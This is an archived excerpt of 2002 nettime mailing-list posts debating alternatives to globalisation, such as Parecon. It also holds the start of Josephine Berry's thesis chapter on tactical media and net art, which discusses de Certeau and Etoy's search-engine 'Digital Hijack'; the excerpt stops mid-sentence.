                        "from": "\"nettime's digest\" <nettime-l {AT} bbs.thing.net>",
                        "content": "\n\nTable of Contents:\n\n   RE: Re: <nettime> the language of tactical media                                \n     \"Derek Baker\" <derek {AT} perfectfit.net>                                            \n\n   Re: Fwd: Re: <nettime> the language of tactical media                           \n     \"N Jett\" <njett {AT} hotmail.com>                                                    \n\n\n\n------------------------------\n\nDate: Mon, 8 Jul 2002 13:07:10 -0700\nFrom: \"Derek Baker\" <derek {AT} perfectfit.net>\nSubject: RE: Re: <nettime> the language of tactical media\n\nAlso Read: When Corporations Rule the World by David Korten. The entire\nsecond half of the book is dedicated to resolving 'the problem'.\n\n- -----Original Message-----\nFrom: nettime-l-request {AT} bbs.thing.net\n[mailto:nettime-l-request {AT} bbs.thing.net]On Behalf Of Benjamin Geer\nSent: Monday, July 08, 2002 2:02 AM\nTo: nettime-l {AT} bbs.thing.net\nSubject: Fwd: Re: <nettime> the language of tactical media\n\n\nOn Friday 05 July 2002 10:13 pm, Morlock Elloi wrote:\n> [someone else] wrote:\n> > As a very liberal democrat, I keep waiting for the anti-globalisation\n> > freaks to offer an alternative to the status quo ... but you never do.\n> > If they ever offered the first first idea on how to \"better\" govern then\n> > I would be their greatest champion ... but all I ever see is\ncriticizism.\n\nMichael Albert, editor of ZNet (http://www.znet.org), has what I think is\na very sensible proposal called `Participatory Economics', about how\nregional economies could be run on the basis of participatory democracy.  \nHe's written two or three books about it:\n\nhttp://www.parecon.org\n\nBen\n\n\n________________________________________________________________________\nThis email has been scanned for all viruses by the MessageLabs SkyScan\nservice. For more information on a proactive anti-virus service working\naround the clock, around the globe, visit http://www.messagelabs.com\n________________________________________________________________________\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n\n------------------------------\n\nDate: Mon, 08 Jul 2002 20:19:18 +0000\nFrom: \"N Jett\" <njett {AT} hotmail.com>\nSubject: Re: Fwd: Re: <nettime> the language of tactical media\n\n\nAh yes... Parecon... no longer shall we have surgeons and janitors,\ninstead there is just the person who takes out your trash, and your\nappendix (and gets paid more for the trash because surgery is\n\"glamorous\"). His \"Balanced Job Complex\" idea seems like a very unfunny\njoke to me. The whole \"committees to decide absolutely everything\" concept\nis kind of a joke too, but no need to get into that here...\n\nThe Parecon project may be an \"alternative\", but it certainly seems\nunfeasible and unattractive and extremely unlikely to go anywhere beyond\nthe minds of the radical intellectual elite. Hopefully he isn't on this\nlist too, the guy gets rather feisty when challenged.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00061",
                        "date": "Mon, 8 Jul 2002 20:53:56 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207090116.VAA22448 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00061.html",
                        "content-type": "text/plai",
                        "author_name": "nettime's digest",
                        "subject": "Re: <nettime> the language of tactical media"
                    },
                    {
                        "from": "\"W R E Reynolds\" <wre.reynolds {AT} sympatico.ca>",
                        "content": "\n\nDavid Goldschmidt said:\n\n> As a very liberal democrat, I keep waiting for the anti-globalisation\n> freaks to offer an alternative to the status quo ... but you never do.\n> If they ever offered the first idea on how to \"better\" govern then I\n> would be their greatest champion ... but all I ever see is\ncriticizism.\n\n\nThis is simply not true and I can only suppose that you don't read much.\n\n\nThere are so many concrete proposals for change it would be well nigh\nimpossible to catalogue here. I would mention only a few to refute your\nassertions:\n\n--Joseph Stiglitz (who has been mentioned on this list numerous times)\nis a the former chief economist of the World Bank and in his recent book\nhe provides a highly specific critique of how the World Bank and the IMF\ndamages the economies of less-developed nations, primarily because it is\nbeholden to a pro-globalized-business agenda. He offers numerous\nsuggestions for reform of the IMF and the World Bank.\n\n--I am involved in creating an independent organization that will\nspecifically provide certification of standards at garment  factories in\nthe developing world. It is to be funded by retailers and manufacturers,\nbut remain independent and arms length.\n\nBTW, It was the idea of a bunch of anti-globalization freaks including\nmyself, working with business leaders to create a workable solution to a\nproblem that all sides in the debate generally acknowledge is real.\n\nLastly, I would say that awareness is the most important element of real\nchange. I certainly believe that most of today's misdirection is the\ndirect result of ignorance. In a media saturated world, we remain\nuninformed; in a world supposedly governed by reason, we question\nsurprisingly little; in our so-called democracies there is little\ndebate, remarkably little public participation and little choice.\n\nIf people simply paid more attention things would change.\n\nAnd if that doesn't work then lets blow things up!!\n\n\nObey little, resist much (Walt Whitman)\n_____  \n\nW.  Richard  Reynolds de La Rochelle\njournalist / author / polemicist  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00069",
                        "date": "Mon, 8 Jul 2002 22:05:27 -0400",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "200207091741.NAA12133 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00069.html",
                        "content-type": "text/plai",
                        "author_name": "W R E Reynolds",
                        "subject": "RE: <nettime> the language of tactical media"
                    },
                    {
                        "from": "Benjamin Geer <ben {AT} beroul.uklinux.net>",
                        "content": "\nOn Tuesday 09 July 2002 1:53 am, \"N Jett\" wrote:\n> Ah yes... Parecon... no longer shall we have surgeons and janitors,\n> instead there is just the person who takes out your trash, and your\n> appendix (and gets paid more for the trash because surgery is\n> \"glamorous\").\n\nThis is a misreading of parecon.  You wouldn't get paid more for the trash, \nand glamour isn't a consideration.\n\n> His \"Balanced Job Complex\" idea seems like a very unfunny\n> joke to me.\n\nScorn, on its own, is a very weak argument against anything.  If you want to \nargue convincingly against balanced job complexes, you'll have to do better \nthan that.\n\n> The whole \"committees to decide absolutely everything\"\n> concept\n\nThis is a gross misrepresentation of parecon.\n\nIf you have objections to parecon, and you are really interested in thinking \nthrough the issues involved, I suggest that you try reading Albert's and \nHahnel's replies to their critics on www.parecon.org; it may well be that \nyour objections are answered there.\n\nBen\n\n\n________________________________________________________________________\nThis email has been scanned for all viruses by the MessageLabs SkyScan\nservice. For more information on a proactive anti-virus service working\naround the clock, around the globe, visit http://www.messagelabs.com\n________________________________________________________________________\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00070",
                        "date": "Tue, 9 Jul 2002 12:09:37 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200207091740.NAA12116 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00070.html",
                        "content-type": "text/plai",
                        "author_name": "Benjamin Geer",
                        "subject": "Re: <nettime> the language of tactical media"
                    }
                ],
                "message-id": "200207031837.OAA11363 {AT} bbs.thing.net",
                "date": "Wed, 3 Jul 2002 15:56:54 +0200 (MEST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Berry <josie {AT} metamute.com>",
                "id": "00112",
                "content": "\nThis chapter of my thesis has just been published in the erratic British\njounal 'Inventory', in their latest Homo Ludens issue -\nhttp://www.inventory.mcmail.com/journal.htm\n\nAlso, the footnotes have been lost in transit from Word to email...I've\npasted them in at the end but annoyingly the numbers in the text are gone.\nPlease mail me if you want to read this as a word document.\n\nJosie\n\n\n\"Another Orwellian Misnomer\"? Tactical Art in Virtual Space\n\n\nSelf-conscious tactics in an unstable space\n\nIn the wake of Michel Foucault's discussions of the discrete, invisible\nand all pervasive 'microphysics of power' at work within technocratic\nsociety, Michel de Certeau was moved to write an alternative account in\nwhich the 'network of an antidiscipline' is uncovered; a category of\nlargely invisible, improvised and ephemeral practices which comprise\n'everyday life'. This heterogeneous set of practices, de Certeau claims,\nexists outside discourse and has no proper name, belongs to no ideology,\nacts heterogeneously and by virtue of its evasiveness comprises an ongoing\nand pervasive resistance to an optical and panoptic regime of power. The\nexteriority of these practices to discourse is also, ironically enough,\nseen by Foucault to have characterised the advent of panoptic power ,\nwhich emerged in a similarly 'mute' manner. The panopticon's articulation\nin discourse happened after the decentralised historical growth of a\npanoply of observational techniques resulted in a coherent disciplinary\nregime.This, argues de Certeau, is a mode of power almost necessarily in\ndecline because it has ceased to operate at an unconscious level; it has\nbecome distinct. If the panoptic mode of power gained ascendancy in\nsilence, de Certeau spectulates, what other silent forms of power are\ncoming into being? In his 1984 book The Practice of Everyday Life, he\nasks:\n\n\"If it is true that the grid of 'discipline' is everywhere becoming\nclearer and more extensive, it is all the more urgent to discover how an\nentire society resists being reduced to it, what popular procedures (also\n'miniscule' and quotidian) manipulate the mechanisms of discipline and\nconform to them only in order to evade them, and finally, what 'ways of\noperating' form the counterpart on the consumer's (or 'dominee's'?) side,\nof the mute processes that organize the establishment of socioeconomic\norder.\"\n\nIn what was not only a riposte to Foucault's uni-directional discussion of\nthe discrete mechanisms of panoptic power but also an analysis of the\nall-too visible phenotypes of technocratic rationality, de Certeau\nmobilises two modes of operation: strategy and tactics. The former\ndescribes force-relationships \"that can be circumscribed as proper\n(propre)\"  and which are brought to bear on objects or targets distinct\nand external to themselves. Strategy is the mode by which legitimated\npower operates from within a designated field; through language, political\nstructures of representation, the assignation of gender roles, the\nregulation of space, discourses of the body and so on. In short, it is the\nproductive mode of hegemonic power. Tactics, by contrast, has no proper\nsite, discourse or language, of its own - it \"insinuates itself into the\nother's place\" , it adorns itself in the other's garb, speaks through the\nother's language, and, because it has no fixed address or permanent mode,\nnever consolidates its own achievements or preserves its conquests.\nTactics comes out of the encounter with the rigid geometry of urban\nplanning, the syntax and vocabularies of languages, the regulated flows of\ntelevision, the choreography of the supermarket. In de Certeau's terms,\ntactics is the practice produced by 'making do' with the oppressive\nconditions of modernity and common people are \"unrecognised producers,\npoets of their own affairs, trailblazers in the jungles of functionalist\nrationality\" . It is a mode of production based in the heart of\nconsumption, a production that feeds on the desire provoked by the\ncommodity but which is used in the creation of an own language rather than\nthe singular conformity to the libidinal economy of the commodity's\n'promissory note'.\n\nBut if Foucault and de Certeau can claim the desublimation of the\npanopticon, then we can also claim a similar coming to consciousness of\ntactics. And just as the discourse and the techniques of the disciplinary\nsociety are split, so too are the goings on of the everyday and their\ndiscursive integration into politics and aesthetics. In 1992, the term\n'tactical media' was coined by the Amsterdam based organisors of the first\nNext5Minutes conference Geert Lovink, David Garcia and Caroline Nevejan in\n1992 . This term soon found its way onto media theoretical mailinglists\nsuch as nettime , and the term gained common currency in the virtual\ncommunities, working groups and social circles in which net artists\nparticipate. By the third Next5Minutes conference on net culture in March\n1999, 'tactical media' had become the organising subject, with activists,\nmedia theorists, artists and technologists debating a new context and mode\nof political and cultural resistance. In the post-68 political envirnoment\nin which the notion of a united front of resistance as questionable as its\nerstwhile target, imperial power, is anachronistic, the vagrant hybridity\nof tactics provides an important model for conceptualising and organising\nresistance. The structure of the Internet, which mirrors and fuels the\ndecentralisation and hybridity of the global market economy and its\ngeo-political correlatives, becomes an obvious and important site for\nresistance.\n\nIn the analysis of net artist's involvement in the cultural logic of\ntactical media which follows, the discussion will be framed by the\nproblematic of virtual space. Although a closer enquiry into the\nphantasmatic quality of space on the Net will be presented in chapter 3,\nfor the present the discussion will hinge on the friction between the idea\nof real and virtual space. Although tactics, as theorised by de Certeau,\nare by no means limited to spatial practices, I have selected this\nframework partly because it is the existence of an evasive but irreducible\ndifference between real and virutal space that gives the Net it's\ndistinctive identity. It is within the context of a contested splitting of\nreal and informational space that the phase shift of power pointed to by\nFoucault and de Certeau (the shift from disciplinary power to what Negri\nand Hardt have recently termed the 'biopower' of 'Empire' ) begins to\nemerge: a world in which power has become as deterritorialised as capital.\nOut of the four artworks discussed in this chapter, only Heath Bunting's X\nProject addresses this spatial splitting directly but, as I will argue,\nthe ontology of virtual space and its impact on behaviour are crucial\nconcerns and points of leverage for all the artworks considered. While\nsome net critics argue the danger of the libertarian rhetoric of dual\nworlds in which cyberspace is cast as the zone of borderless and\nunfettered freedom , others see their disjuncture as promising a radical\npotential. I will be using the widely diverging theories of the spatial\nand environmental production of the subject offered by Walter Benjamin,\nMichel de Certeau, Marc Aug\u00e9 and Slavoj Zizek to think through 'the\npractice of everyday life online' which the artworks of Jodi, Etoy, Rachel\nBaker and Heath Bunting present. In these works, the positing of 'typical'\nkinds of behaviour by net artists presupposes a definition of the nature\nof space and place, and vice versa. It is through the exploration of\neveryday behaviour. which is the concern of tactical net art, that the\nradical potential and oppressive flattening of cyberspatiality is brought\ninto focus.\n\nIn a more limited respect, and as we have seen in chapter one, artists\nwere drawn to the Internet because it offered them the possibility of a\ndifferent kind of 'professional' practice; indeed a chance to ellude the\nprofessionalisatin of their own practice. In this sense, the Net offered\nthem a 'tactical' space in which to evade the strategies of the art\nmarket. But if the Net seemed to offer such a tactical topology , it also\nimposes a new set of conditions which can be seen as belonging to\nstrategic power within which art must operate. The establishment of\ntechnical protocols and languages such as the Domain Name System (DNS),\nTCP/IP, HTTP, HTML, XML, CGI and so forth impose a language or\narchitecture from 'above'. But, beyond the expansion and ellaboration of\ntactics and strategy along older lines, the Net participates in a broader\ndevelopment of mutual imitation that occurs within both dominant cultural\nstrategy (the 'Prada Meinhoff' mode of advertising) and cultural\nresistance (the adoption of corporate identities ). In other words,\nstrategy and tactics are becoming harder to distinguish or require a new\nset of conceptual tools with which to decode them. An important aspect of\nthis development for the online environment is the mutability of the\nInternet's distributed networks and digital modalities which complicate\nthe production/consumption binary. The ease, for example, with which a\ndigital file can be copied, parsed, mirrored, linked to and endlessly\nredeployed makes it, in some senses, extraordinarily vulnerable to\ntactical use. However, this malleability is also harnessed by the\nstrategic forces of power at work in the Net; we begin to lose the\ndistinction between the 'properness' of strategy and the vagrancy of\ntactics. Where de Certeau describes tactical action as a slow, erosive\nforce, the \"overfow and drift over an imposed terrain, like the snowy\nwaves of the sea slipping in among the rocks\" , in the new media age\ntactics are operating under more mutable conditions in which strategy no\nlonger resembles anything so static as rocks. To grasp this more\nconcretely, we have only to consider the intensification of market\nresearch carried out within the Net - based on the increased ease with\nwhich individuals' movements and patterns of behaviour can be tracked\nthrough inventions such as 'cookies' - to get an idea of how responsive\nthe system has become. This is not yet the technological dystopia imagined\nby Arthur Kroker and Michael A. Weinstein in Data Trash, where the subject\nhas become totally assimilated into the instrumental operations of virtual\nreality. But, to a great extent, the user does provide the 'encrypted\nflesh' or behavioural data-set required by the market to continuously\nreinvent itself in the putative image of the user-consumer who, in turn,\nreflects the conditions of consumption - the series of choices on offer -\nin a recursive loop.\n\nMedia theorists and activists David Garcia and Geert Lovink identify the\nshifting, mutating and transferable quality of digital data on the Net as\n'media hybridity' and discuss the mobility it produces in their\ninfluential manifesto The ABC of Tactical Media written in 1997. The first\npassages of the manifesto synopsise the ideas set out in de Certeau's\nPractice of Everyday Life thereby explicitly revealing the indebtedness of\nthe concept of 'tactical media' to his work. In their text, which was\nposted on community-building mailing lists such as nettime , Garcia and\nLovink update de Certeau's tactics for the New Media environment, and\nellucidate on the centrality of mobility and hybridity for this newly\ninstrumentalisd 'practice of everyday life':\n\n\"But it is above all mobility that most characterises the tactical\npractitioner. The desire and capability to combine or jump from one media\nto another creating a continuous supply of mutants and hybrids. To cross\nborders, connecting and re-wiring a variety of disciplines and always\ntaking full advantage of the free spaces in the media that are continually\nappearing because of the pace of technological change and regulatory\nuncertainty.\"\n\nWe should not forget that this manifesto of tactical media was written at\na time in which governments were still in a state of relative confusion\nover how to regulate the activities taking place over the Net as well as\nthe Net's own technical administration. Although 1996 saw the first\nserious piece of U.S. Interent legislation in the form of the\nCommunications Decency Act , international governments were still in a\nstate of confusion as to which existing laws could be stretched to deal\nwith the network, what new legislation was required and how, if at all, it\ncould be enforced. This was a symptom of the Net's awkward transformation\nfrom a U.S. government owned and academically administered research and\ncommunications tool, to a commercially open, privately financed space of\ninternational exchange. In the period between 1996 and 2000, a flurry of\nlegislation has taken place regarding encryption, public surveillance of\nprivate communications, the liability of ISPs for the content stored on\ntheir servers, and a 'purely technical' body has been appointed by the\nU.S. government to regulate and administer the DNS system -the Internet\nCorporation for Assigned Names and Numbers (ICANN). These are just some of\nthe areas in which the Internet's once 'wild frontier' is being tamed, and\nstrategy is extends itself legislatively and bureaucratically into this\nformerly disregarded zone.\n\nReturning to tactics, the marriage of the terms 'tactical' and 'media' has\ncome to signify something more than the new terrain of everyday practice.\n'Tactical media' belongs to a whole cultural turn in which what might be\ndescribed as the old 'strategies' of art and politics are abandoned in\nfavour of a parasitic, fast mutating and non-originary practice . The\nmodernist belief in conceptual and aesthic originality or the political\nbelief in the aggregative basis of opposition such as class and trade\nunions cede to a postmodern refusal of such 'essentialist' individual and\ncollective definitions of subjectivity. Once entities such as authenticity\nand origniality are invalidated by contemporary thought and the belief in\nthe plausibility of global revolution retracts into the limited struggles\nof the 'new social movements', the modest contingency of tactical\npractices come to the fore; a form of culture and politics as far beyond\nmetaphysics as the virtualised environment (both on and off the Net) in\nwhich they unfolds. The predominance of parasitism and vagrancy in net art\nas such, clearly owes much to the precursive experiments of minimalist and\nsite specific art which began in the 1960s; the threshold of the\ninformation (post-disciplinary?) age. By this I mean site specific art's\nlocation within a pre-existing network of spatial, social, economic and\npolitical relations as against the artwork's creation of a series of\nseparate and internally constituted 'internal relations' - the zenith of\nmodernist practics as theorised by Clement Greenberg. Although not\nnecessarily adopting practices of the everyday, the expansion of the\nartwork's limit beyond its physical 'pretext' to include a\nself-constituting network of forces and relations is an important\nanticipatory development. Michael Fried discusses this new turn in\n'literalist' or minimalist art thus:\n\n\"There is nothing within [the beholder's] field of vision - nothing that\nhe takes note of in any way - that, as it were, declares its irrelevance\nto the situation, and therefore to the experience, in question. On the\ncontrary, for something to be perceived at all is for it to be perceived\nas part of that situation. Everything counts - not as part of the object,\nbut as part of the situation in which its objecthood is established and on\nwhich that objecthood at least partly depends.\"\n\nThis art in which 'everything counts' is a phenomenological conception of\nthe artwork's meaning occurring in dynamic relationship between work,\nviewer and world. In Frederic Jameson's description of the awesome scope\nof a Hans Haacke artwork, the circumference of the 'situation' and the\nintricacy of its phenomenology extends far beyond those immediate elements\nwhich comprise the artwork's situation to encompass a global situation.\nThis scope is also the scope of the 'situation' articulated by net art:\n\n\"in the work of Hans Haacke, for example, [conceptual art] redirects the\ndeconstruction of perceptual categories specifically onto the framing\ninstitutions themselves. Here the paralogisms of the 'work' include the\nmuseum, by drawing its space back into the material pretext and making a\nmental circuit through the artistic infrastructure unavoidable. Indeed, in\nHaacke it is not merely with museum space that we come to rest, but rather\nthe museum itself, as an institution, opens up into its network of\ntrustees, their affiliations with multinational corporations, and finally\nthe global system of late capitalism proper (with all its specific\nrepresentational contradictions).\"\n\nHere the artwork is understood as creating a self-consciousness in the\nviewer which operates on their own unarticulated and/or unreflexive\nbehaviour (looking at art in public space) and the seemingly remote and\nsilent functionings of the world order. If we consider how the collective\nand largely undirected construction of Net gives the many activities which\ncompose 'the practice of everyday life' a greater emphasis, while the\nemphatically global scale of the Net creates a very different scale for\nthese activities, we can imagine how the self-reflexivity of the viewer\ngains a seemingly more affective quality - hence the sharp focus laid on\nthe relationship between behaviour and global 'situation' in net art. The\nartwork's animation of the intersubjective relationship between the user\nand situation can also, in Hegelian terms, be said to have effected a\nshift from a quotidian use of tactics 'in themselves to a practice of\ntactics 'for themselves. The tactical mode has become an explicitly\nself-conscious way for net artists, activists and media workers to act in\ncyberspace, lifting the small scale countervailing practices of the\neveryday (the repurposing, circumventing, jamming, connecting, reversing\netc. of disciplinary powers) to the level of programmatic cultural\nresistance. This tactical self-consciousness in net art can sometimes\nexceed that possessed of site specific art because its self-reflexivity\ninvites the viewer not only to see their (physical, ideological, economic\netc.) relationship to the work and the world as part of the work's\ncircumference and vice versa, but also because it often invites them to\nparticipate in its morphology. This invitation, although not\nunprecedented, has an easiness based in the contiguity of the space of art\nand the everyday in the Net, which comprises a (relatively) unhierarchical\norganisation and materially homogeneous consistency of space. Art ceases\nto be perceived as the site at which 'the practices of everyday life'\ngrind to a halt and a different kind of behavioral logic takes hold. Some\ncritics have optimistically formulated this development as 'the art of\ninvolvement' and designate preceding experiments in interactive art 'open\nworks'. In contrast to the viewer's role within 'open work', where the\nviewer is solicited to \"fill in the blanks, to choose between possible\ndirections, to confront the differences in their interpretations\u008a[to\nexplore] the possibilities of an unfinished monument\",\"  the 'art of\ninvolvement' no longer constitutes an anterior work at all but rather,\n\"causes processes to emerge, it seeks to open up a career to autonomous\nlives, it invites one to grow and inhabit a world. It places us in a\ncreative cycle, in a living environment in which we are always already\nco-authors.\"\n\nBut where does such a programmatic reading leave tactics? Are tactics\nsimply another name for the productive capacity of countless individuals\nwhich can be massified into a coherent aesthetico-political project? Are\nthey the behaviours preyed upon by marketers in their search for the true\nidentity of the consumer or are they that which necessarily eludes this\nform of systematic reincorporation? Do tactics become available to\nstrategists when they reach the level of self-consciousness revealed in\nthe term 'tactical media' and therefore cease to be tactical? In net art,\nas with the coming to self-consciousness of tactics within tactical media,\nit is possible to see the elevation of this everyday practice of\nresistance (for example la perruque - the use by factory workers of their\nemployers' resources for their own private ends) to the order of dominant\ncultural strategy . If tactics no longer solely constitute ways of 'making\ndo' under the oppressive conditions of society, but begin to attain the\nlegitimation of artistic value or political modus operandi, do they still\nremain the 'antidiscipline' to the dominant order? By investigating this\nquestion, we must necessarily ask the question of how tactics themselves\nchange in virtual space, which in turn poses questions over the nature of\nthat space. But it is imporant to bear in mind that no matter how\nself-consciously net artists are adopting tactics, their mutating nature\nis as hard to fix down as the changeability of the material and semiotic\nterrain in which they unfold.\n\nA Place Made of Space\n\nDe Certeau's distinction between place and space - one importantly adopted\nby the anthropologist of 'supermodernity' Marc Aug\u00e9 - will be helpful when\ndetermining the nature of the tactical mode in net art. Place, for de\nCerteau, describes the coexistence of things determined by their\nrespective occupation of an exclusive location. And conversely, that\nlocation is reciprocally defined by a thing's occupation of it. In short,\n\"the law of the 'proper' rules in the place.\"  (This 'properness' is\npartly responsible for Aug\u00e9's positing of 'place' as a form of resistance\nto the deterritorialised disorientation of supermodernity). Space, by\ncontrast, is \"composed of intersections of mobile elements\" it \"occurs as\nthe effect produced by the operations that orient it, situate it,\ntemporalise it, and make it function in a polyvalent unity of conflictual\nprograms of contractual proximities.\" De Certeau essentialises this\ndifference by drawing an analogy to the difference between langue and\nparole. Tactics is then, nearly by defninition, a spatial mode, and one\nthrough which place is practiced and experienced.\n\nBut what could be said to constitute a place on the Internet? The word\n'site', which in ordinary speech would designate a precise location in\nspace, doubles as the technical term used to indicate a particular digital\nfile or 'information object' which is only ever viewed in the form of a\nreassemblage. That is to say, what we view in our browser window is the\nsoftware's interpretation of a set of instructions - a string of 0s and1s.\nOn the Internet, although things can be designated a coordinate (an IP\nnumber or URL) nothing can ever be said to occupy a unique location. But\neven if we accept the distinction made by de Certeau and Marc Aug\u00e9\nregarding place and space, and even though a website no longer occupies a\nsingular location in the manner of a physical object, it is still possible\nto see its equivalence to place. As with place, we know what we have to do\nto get there, as with place we can compare the experience of having been\nthere with others, as with place our knowledge of it is always\nexistential, dynamised by our passage across it, inflected with our\nintentions towards it, coloured by our encounters within it. But\ncrucially, unlike place, we cannot build a sense of identity around a site\non the Internet, we cannot belong to it and least of all attach foundation\nnarratives to it. We cannot feel within it the echo of what Aug\u00e9 describes\nas 'anthropological place'.\n\nQuoting from the ethnologist Marcel Mauss, Aug\u00e9 discusses the\npart-fictional character of anthropological place in terms of the\nrelationship of what the former terms 'average man' to the territory he\ninhabits. This man is born into a closed world, founded 'for once and all'\nand inscribed so deeply upon him that it does not have to be consciously\nunderstood. The 'total social fact' subsumes within itself any\ninterpretation of it that its indiginous members may have: \"The 'average'\nman resembles 'almost all men in archaic or backward societies' in the\nsense that, like them, he displays a vulnerability and permeability to his\nimmediate surroundings that specifically enable him to be defined as\n'total'\" . As we shall see presently, the connection between environmental\npermeability and a particular kind of identity are important subjects for\nthe tactical practice of net art. The level of imperviousness which\ncharacterise the 'average' user's relation to the Net is a point of\ninvestigation for these self-conscious tacticians attempting to create a\nmore bruising encounter between the space of the Net and its subject. In\norder to become the producer of an idiolect (the personal/tactical mode of\nenunciation formed within imposed stricutures), the subject must become\nsensible to the particularities of their environment and confident of\ntheir ability to find their own passage through it.\n\nIn 1996, the Swiss net art group cum spoof 'corporation' Etoy targeted the\nsupposedly neutral zone of the search engine with their artwork Digital\nHijack . Search engines are some of the most frequently 'visited' sites on\nthe Net with Altavista already drawing 32 million users per day by\nSeptember 98.  They act as huge centres of traffic convergence in the\nsupposedly decentralised structure of the Net, but notably - similarly to\nairports -cannot be described as places of gathering. Although visitors\nfrequently return, it is not in order to find something rooted in a\nsingular location or to meet other visitors, but rather to use a service\nthat spatialises the rest of the Net through the production of a set of\nURLs. Hartmut Winkler attributes their popularity to their perceived\nneutrality: \"Offering a service as opposed to content, they appear as\nneutral mediators.\"  It is precisely because the search engine serves as a\nportal to elsewhere that it becomes a heavily frequented site. For this\nreason we can see the search engine as the quintessence of the\ntransformation of place into space, or the predication of place on space\nin the Net. The fact that a site's centrality is directly related to its\ndistributive capacity tells us a great deal about the way in which spatial\npractices on the Net are characterised by passage rather than settlement .\nNothing could be further from the permeability of the subject to\nanthropological place than the indifference of the Net user to the\nputative neutrality of the search engine website.\n\nAnd it is precisely this neutrality that Etoy singled out for attack in\ntheir Digital Hijack. In tune with Winkler's criticisms, Etoy created a\nmechanism for alerting people to their passive acceptance of the search\nengine's mode of selecting and hierachising URLs. The actual method of\naggregating and organising websites in accordance with the user's keyword\nis, in reality, anything but exhaustive or disinterested. In the early\ndays of search engines, some companies (such as Yahoo) paid employees to\ncategorise websites 'by hand', thus making available only a tiny\nproportion of the total number of websites on the Net. Of course what was\nmade available was the final result of a series of subjective choices and\ncorporate categorisations made by a team of coders. The subsequent\nautomation of this process has not, however, resulted in any fundamental\nincrease in accuracy, comprehensiveness or compatibility between the\nkeyword and the list of URLs displayed in response . Unable to master\ncomplex linguistic issues such as syntax, and therefore unable to\ninterpret the meaning of strings of search terms, many search algorithms\nwill simply prioritise URLs according to the number of times the search\nterms are mentioned.\n\nThis is just one example of how the map of the the WWW produced by the\nsearch engine is deficient and, more importantly for us, how the system is\nvulnerable to manipulation. Realising this point of leverage, Etoy began\nto analyse the top 20 sites returned by search engines in response to some\nof the most popular search terms such as 'porsche, penthouse, madonna,\nfassbinder' . Essentially, Etoy found a way to manipulate the system by\nupdating an older practice called spamdexing. This is a simple 'hacker's'\ntrick by which a keyword is inserted repeatedly into an HTML document to\nensure that a website is featured high up in the search engine display\nhierarchy . Etoy used their 'Ivana bot' (probably an algorithm) to analyse\nthe particular combination of keywords embedded in the top 20 websites\nreturned to a keyword such as 'porsche' and then mimicked it. They then\ngenerated thousands of 'dummy trap' pages each of which contained\ncombinations of thousands of popular keywords, thus ensuring that the\npages would be returned in the top 20 category of myriad word searches.\nFor a short period after March 1996, surfers using search engines were\nregularly 'hijacked' by dummy trap pages which, far from displaying\ninformation about a desirable car or popstar would harass hostages with\nthe message: \"Don't fucking move - this is a digital hijack by etoy.com\".\nIf the hostage/viewer decided to follow the links through the website,\nthey would first discover what number hostage of the Etoy 'organisation'\nthey were, then view an animated graphic image file (GIF) of a\nshaven-headed Etoy member in dark glasses and ambiguously plugged into a\ncable at the navel , and finally receive a blunt mission statement:\n\n\"It is definitely time to blast action into the Net! Smashing the boring\nstyle of established electronic traffic channels.\n\nWelcome to the Internet Underground\".\n\nToday, after the search engines succeeded in terminating Etoy's action,\nthe statement posted on a sample site concludes:\n\n\"Although officially stopped, we cannot protect you from getting hijacked.\nWe lost control.\n\nPIRATES FIGHTING FOR A WILDER NET!\"\n\nShock and the Order of Experience in Modernity and the Net\n\nWalter Benjamin's discussion of the relationship between memory and\nexperience is a useful text to draw on at this stage, because it provides\nan excellent way of thinking about the shock tactics used by Etoy, their\nrole in the practice of place as well as a means of contrasting the space\nof modernity with Aug\u00e9's discussion of anthropological place - a crucial\nway of entering a discussion on place in 'supermodernity' and on the Net.\nIn his essay \"Some Motifs in Baudelaire\", Benjamin splits experience into\ntwo terms: Erlebnis and Erfahrung. By Erlebnis, Benjamin means an\nexperience for which we are psychologically prepared, against which we\nhave developed a protective shield to parry the impact of a stimulus.\nReferencing Freud, Benjamin argues that experiences absorbed in such a way\ncan pass instantly into our conscious experience (Erlebnis) because they\ndo not produce any traumatic effects - traumatic stimulation being\nunderstood here as the basis for (involuntary) memory, a function of the\nunconscious. Erfahrung, on the other hand, is the order of experience\nattributed to a stimulus for which we are unprepared. Our lack of\nanticipatory shielding means that this experience cannot immediately enter\nour consciousness, but instead plants a memory trace that will then be\nworked through retroactively, through the act of involuntary memories or\ndreams. Erfahrung, therefore, is the order of experience which entails a\ndissolution of shock through the psychological relay of revisitations; the\nintegration of an experience into a deeper level of identity. One that\ncannot be casually and voluntarily recalled, and equally cannot be so\neasily disposed with. Benjamin understands Baudelaire's lyrical\nrelationship to the modern metropolis as the, perhaps paradoxical,\nendeavour to preserve its series of shocks in the conscious act of writing\npoetry. And asks how \"lyric poetry can have as its basis an experience for\nwhich the shock experience has become the 